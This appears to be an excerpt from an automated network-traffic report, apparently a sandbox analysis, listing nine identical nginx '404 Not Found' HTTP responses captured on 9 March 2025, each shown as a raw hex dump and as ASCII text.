Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:55:57 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:55:59 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:56:02 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:56:29 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:56:32 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:56:35 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:56:37 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:57:04 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:57:07 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
